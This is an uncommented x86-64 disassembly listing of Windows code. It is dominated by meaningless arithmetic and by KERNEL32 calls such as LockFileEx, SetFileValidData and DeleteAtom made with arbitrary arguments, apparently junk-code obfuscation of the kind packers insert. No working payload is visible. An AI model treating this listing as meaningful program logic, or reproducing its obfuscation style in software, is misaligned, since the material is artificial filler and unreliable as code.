mov rcx, qword [0x14023c388]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a0], rax
mov rax, qword [rsp + 0x10650]
mov rcx, qword [rsp + 0x10758]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7fd8], eax
lea rcx, [rsp + 0x26ed0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x8070], eax
movzx eax, word [rsp + 0x27d0]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x27b8], ax
movsx eax, word [rsp + 0x27d4]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14023c3a8], ax
movzx eax, word [rsp + 0x27d0]
movzx ecx, word [0x14023c3a0]
shl eax, cl
mov rcx, qword [rsp + 0x10518]
mov word [rcx], ax
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x48d]
sar eax, cl
mov rcx, qword [rsp + 0x105d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10670]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10578], rax
movsx eax, word [0x1402815c2]
movsx ecx, word [rsp + 0x1eb8]
add eax, ecx
mov word [rsp + 0x112c], ax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x104a0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10548], rax
mov eax, dword [rsp + 0x7fd8]
mov ecx, dword [rsp + 0x7ef4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8014], eax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x7fc4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7368], eax
movzx eax, byte [rsp + 0x405]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50f], al
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10658]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14023c3a0], ax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10740], rax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x510], al
movzx eax, word [rsp + 0x27b4]
mov rcx, qword [0x140281598]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27e8], ax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x27d8], ax
mov eax, dword [0x14023c394]
movzx ecx, al
mov eax, dword [rsp + 0x7368]
shl eax, cl
mov rcx, qword [rsp + 0x10720]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10718]
mov rcx, qword [rsp + 0x10528]
mov qword [rsp + 0x10798], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10798]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xda68], rax
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fd8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fec], eax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd9]
or eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x27dc], ax
movzx eax, word [rsp + 0x27cc]
movzx ecx, word [rsp + 0x11a8]
sub eax, ecx
mov word [0x1402815d0], ax
mov edx, 0x5821c1
mov rcx, qword [rsp + 0x10510]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x7f20], eax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x106b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x48d], al
mov rax, qword [0x1402815a8]
mov rcx, qword [rsp + 0xd720]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10670], rax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x106b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b0], rax
mov eax, dword [rsp + 0x8054]
add eax, 0x1b
mov dword [rsp + 0x8054], eax
mov eax, dword [rsp + 0x800c]
mov ecx, dword [rsp + 0x777c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fd8], eax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [0x14023c370]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10548], rax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x7f00]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fcc], eax
movzx eax, byte [rsp + 0x511]
mov rcx, qword [0x140281590]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x105d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10658]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x10518]
mov word [rcx], ax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x112c]
sar eax, cl
mov word [0x14023c3a8], ax
mov rax, qword [rsp + 0x106b8]
mov rcx, qword [rsp + 0x104b0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x10640], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc75d
mov rcx, qword [rsp + 0x10580]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7f94], eax
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd720]
shl rax, cl
mov qword [rsp + 0x10740], rax
movzx eax, word [rsp + 0x27cc]
movzx ecx, word [rsp + 0x27b4]
and eax, ecx
mov word [rsp + 0x27e8], ax
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fd8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7f2c], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1f14
mov rcx, qword [rsp + 0x10610]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7f1c], eax
jmp 0x14001d7db
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x107a0], rax
mov rax, qword [0x14023c370]
mov rcx, qword [rsp + 0xd1b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10718], rax
mov edx, 0x52fc0c
mov rcx, qword [rsp + 0x10668]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x8068], eax
movsx eax, byte [rsp + 0xd9]
movsx ecx, byte [rsp + 0x4ef]
sub eax, ecx
mov byte [rsp + 0x50e], al
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x68f0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8024], eax
movsx eax, word [rsp + 0x1eb8]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2800], ax
lea rdx, [rsp + 0x10738]
mov rcx, qword [rsp + 0x10510]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x7f20], eax
mov dword [rsp + 0x27230], 0x11c
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2c4]
sub eax, ecx
mov byte [0x1402815c0], al
movsx eax, word [0x14023c378]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2800], ax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x106b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x511], al
movzx eax, word [0x14023c3a0]
movzx ecx, word [rsp + 0x11b0]
add eax, ecx
mov word [rsp + 0x27b4], ax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x8050]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7f38], eax
mov rax, qword [rsp + 0x10588]
mov rcx, qword [rsp + 0x10698]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x105e8], rax
mov rcx, qword [rsp + 0x104c8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x10758]
mov qword [rsp + 0x107a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x107a8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x800c], eax
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2fc]
shl eax, cl
mov byte [rsp + 0x2c4], al
movzx eax, word [rsp + 0x27cc]
movzx ecx, word [rsp + 0x27e8]
and eax, ecx
mov rcx, qword [rsp + 0x10518]
mov word [rcx], ax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2800]
sub eax, ecx
mov word [0x14023c378], ax
mov eax, dword [rsp + 0x7f18]
add eax, 0xb0
mov dword [rsp + 0x7f18], eax
mov rax, qword [0x14023c380]
mov rcx, qword [rsp + 0x10640]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd720], rax
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd720]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10640], rax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [0x1402815a8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x106a8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x27ec]
movsx ecx, word [rsp + 0x2800]
sub eax, ecx
mov word [rsp + 0x1fe8], ax
movsx eax, byte [rsp + 0x4ef]
movsx ecx, byte [rsp + 0x514]
and eax, ecx
mov byte [rsp + 0x50e], al
mov rax, qword [rsp + 0x10758]
mov ecx, dword [rsp + 0x8020]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8014], eax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x8024]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f88], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x106c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10718], rax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14023c03a], al
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
mov rcx, qword [0x1402815b8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x27cc], ax
cmp dword [rsp + 0x7f18], 0x743f
jbe 0x14001dd55
lea rax, [rsp + 0x50d]
mov qword [rsp + 0x107b0], rax
movsx eax, word [rsp + 0x2084]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x27d4], ax
movzx eax, word [0x1402815d0]
movzx ecx, word [rsp + 0x11b0]
or eax, ecx
mov word [rsp + 0x1e88], ax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x8024]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7368], eax
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x777c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x800c], eax
mov rax, qword [rsp + 0x104e8]
mov rcx, qword [rsp + 0x106c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a0], rax
movzx ecx, word [rsp + 0x27bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2804], ax
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10730], rax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x512]
sub eax, ecx
mov rcx, qword [0x1402815c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
movzx ecx, word [0x1402815d0]
add eax, ecx
mov rcx, qword [rsp + 0x105f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfe]
add eax, ecx
mov byte [rsp + 0x2fc], al
movsx eax, byte [rsp + 0xce]
movsx ecx, byte [0x14023c038]
and eax, ecx
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10538]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10730], rax
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7ef4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10758]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8024]
shl eax, cl
mov dword [rsp + 0x7368], eax
mov rax, qword [rsp + 0x10718]
movzx ecx, al
mov rax, qword [rsp + 0x106c8]
shr rax, cl
mov qword [rsp + 0x104a0], rax
movzx eax, word [rsp + 0x27d0]
mov rcx, qword [0x1402815b8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x11b0], ax
mov rax, qword [rsp + 0x107b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402815a0], al
lea rdx, [rsp + 0x250c8]
mov rcx, qword [rsp + 0x10510]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x8070], eax
movsx eax, word [rsp + 0x27fc]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1eb8], ax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x10578]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x104b8], rax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10640]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd720], rax
movzx eax, byte [rsp + 0x511]
mov rcx, qword [0x140281590]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x104f0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7f1c], eax
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8014]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ddc], eax
mov eax, dword [0x14023c398]
mov ecx, dword [rsp + 0x8050]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x78c0], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10588]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10718], rax
movzx eax, word [rsp + 0x27d0]
mov rcx, qword [0x140281598]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x10518]
mov word [rcx], ax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x165c]
and eax, ecx
mov word [0x1402815c2], ax
mov rax, qword [rsp + 0x104a8]
movzx ecx, al
mov rax, qword [rsp + 0x10508]
shl rax, cl
mov rcx, qword [rsp + 0x10678]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x106a0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0xce]
mov rcx, qword [0x1402815c8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x512], al
mov eax, dword [rsp + 0x8018]
add eax, 0xd8
mov dword [rsp + 0x8018], eax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27c0]
xor eax, ecx
mov word [rsp + 0x2800], ax
movzx eax, byte [rsp + 0x2c4]
movzx ecx, byte [rsp + 0x48d]
sar eax, cl
mov byte [rsp + 0xfe], al
mov dword [rsp + 0x27350], 0x11c
mov rax, qword [rsp + 0x10608]
mov ecx, dword [rsp + 0x800c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8014], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x106c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10548], rax
mov eax, dword [rsp + 0x78c0]
mov ecx, dword [rsp + 0x68f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f38], eax
movzx eax, word [rsp + 0x27cc]
movzx ecx, word [rsp + 0x27d0]
add eax, ecx
mov word [rsp + 0x11b0], ax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402815b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x165c]
add eax, ecx
mov rcx, qword [rsp + 0x10648]
mov word [rcx], ax
mov rax, qword [rsp + 0x107b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2fc], al
mov rax, qword [rsp + 0x104b8]
mov rcx, qword [rsp + 0x10508]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2570
mov r9d, 0x3d50
mov r8d, 0xecd902e4
mov edx, 2
mov rcx, qword [rsp + 0x10668]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x7fa0], eax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10740]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x106b8], rax
mov rax, qword [rsp + 0x10650]
mov rcx, qword [rsp + 0x10608]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8020], eax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8050], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x7f1c], eax
xor r9d, r9d
lea r8, [rsp + 0x104d0]
mov rdx, qword [rsp + 0x104d8]
mov rcx, qword [rsp + 0x10668]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x7fa0], eax
cmp dword [rsp + 0x8018], 0x88e0
jb 0x14001e0ab
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10548]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x104e8], rax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov qword [rsp + 0x107b8], rax
movabs rax, 0x7c878f83a807da
cmp qword [rsp + 0x107b8], rax
je 0x14001e632
jmp 0x14001e6ff
mov rdx, qword [rsp + 0x105c0]
mov rcx, qword [rsp + 0x105c0]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x8074], eax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
mov rcx, qword [0x140281598]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x11a8], ax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14023c378], ax
movsx eax, byte [rsp + 0xd9]
movsx ecx, byte [rsp + 0x514]
sar eax, cl
mov byte [rsp + 0x50e], al
mov rax, qword [rsp + 0x107b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x106b0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x513], al
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x10730]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x104a8], rax
movsx eax, word [rsp + 0x165c]
movsx ecx, word [rsp + 0x2084]
add eax, ecx
mov word [rsp + 0x27d8], ax
jmp 0x14001e760
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x7fcc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6a58], eax
mov rax, qword [rsp + 0x10758]
mov eax, dword [rax]
mov dword [rsp + 0x8078], eax
mov dword [rsp + 0x807c], 0x3b76
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x8044], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10698]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x105e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
movzx ecx, word [0x14023c39c]
add eax, ecx
mov word [rsp + 0x27cc], ax
mov rax, qword [rsp + 0x107b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x511]
sub eax, ecx
mov byte [0x1402815a0], al
mov rax, qword [rsp + 0x104a8]
mov rcx, qword [rsp + 0x10508]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10670], rax
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27cc], ax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27c0]
xor eax, ecx
mov word [rsp + 0x2084], ax
mov rax, qword [rsp + 0x107b0]
movzx eax, byte [rax]
movzx ecx, byte [0x14023c039]
or eax, ecx
mov byte [rsp + 0x50d], al
mov rax, qword [rsp + 0x10588]
mov rcx, qword [rsp + 0x10528]
mov qword [rsp + 0x107c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x107c0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x106c8], rax
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14023c390]
shr eax, cl
mov rcx, qword [rsp + 0x10608]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x7fc4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x78c0], eax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50e]
add eax, ecx
mov byte [rsp + 0x512], al
movzx eax, byte [rsp + 0xfe]
movzx ecx, byte [rsp + 0x515]
sub eax, ecx
mov byte [rsp + 0x511], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x4a68
mov rcx, qword [rsp + 0x106d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8044], eax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
movzx ecx, word [0x1402815d0]
sub eax, ecx
mov rcx, qword [0x1402815b8]
mov word [rcx], ax
movsx eax, word [rsp + 0x2084]
movsx ecx, word [rsp + 0x1fe8]
add eax, ecx
mov word [rsp + 0x27fc], ax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10670]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10730], rax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [0x1402815a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10508], rax
mov rax, qword [rsp + 0x10758]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x800c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fec], eax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x6a58]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x105e8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd1b0], rax
movzx eax, word [0x1402815d0]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x27d0], ax
movzx eax, byte [rsp + 0x2fc]
movzx ecx, byte [rsp + 0xfe]
xor eax, ecx
mov byte [rsp + 0x50f], al
movzx ecx, word [rsp + 0x27c4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x280c], ax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14023c378], ax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x106a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x10508], rax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10670]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10740], rax
mov rax, qword [rsp + 0x10658]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27cc]
add eax, ecx
mov word [rsp + 0x27e8], ax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10588]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x106c0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x7f90], eax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x78c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f00], eax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xce]
add eax, ecx
mov byte [rsp + 0x4ef], al
mov rax, qword [rsp + 0x10650]
mov rcx, qword [rsp + 0x10608]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x777c], eax
movzx eax, byte [rsp + 0x511]
mov rcx, qword [rsp + 0x107b0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x510], al
movzx ecx, word [rsp + 0x27f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27e4], ax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x512]
add eax, ecx
mov rcx, qword [0x1402815c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11a8]
sub eax, ecx
mov word [rsp + 0x1e88], ax
movsx eax, word [rsp + 0x1eb8]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x106e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x405]
mov rcx, qword [0x140281590]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x48d], al
mov eax, dword [rsp + 0x7f50]
add eax, 0xaa
mov dword [rsp + 0x7f50], eax
mov rax, qword [rsp + 0x10718]
mov rcx, qword [rsp + 0x10528]
mov qword [rsp + 0x107c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x107c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x106c0], rax
mov rax, qword [rsp + 0x10650]
mov rcx, qword [rsp + 0x10608]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7ef4], eax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14023c398]
sar eax, cl
mov dword [rsp + 0x8050], eax
movsx eax, word [rsp + 0x27ec]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x165c], ax
movzx eax, byte [0x1402815c0]
movzx ecx, byte [rsp + 0x48d]
sub eax, ecx
mov byte [rsp + 0xfe], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2aaa
mov r9d, 0x33ea
mov r8d, 0x252e3e6f
mov edx, 1
mov rcx, qword [rsp + 0x106d8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x7fe0], eax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10658]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402815d0], ax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10740]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10538]
mov qword [rcx], rax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10538]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10740], rax
movzx ecx, word [rsp + 0x27c8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2810], ax
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x10538]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10740], rax
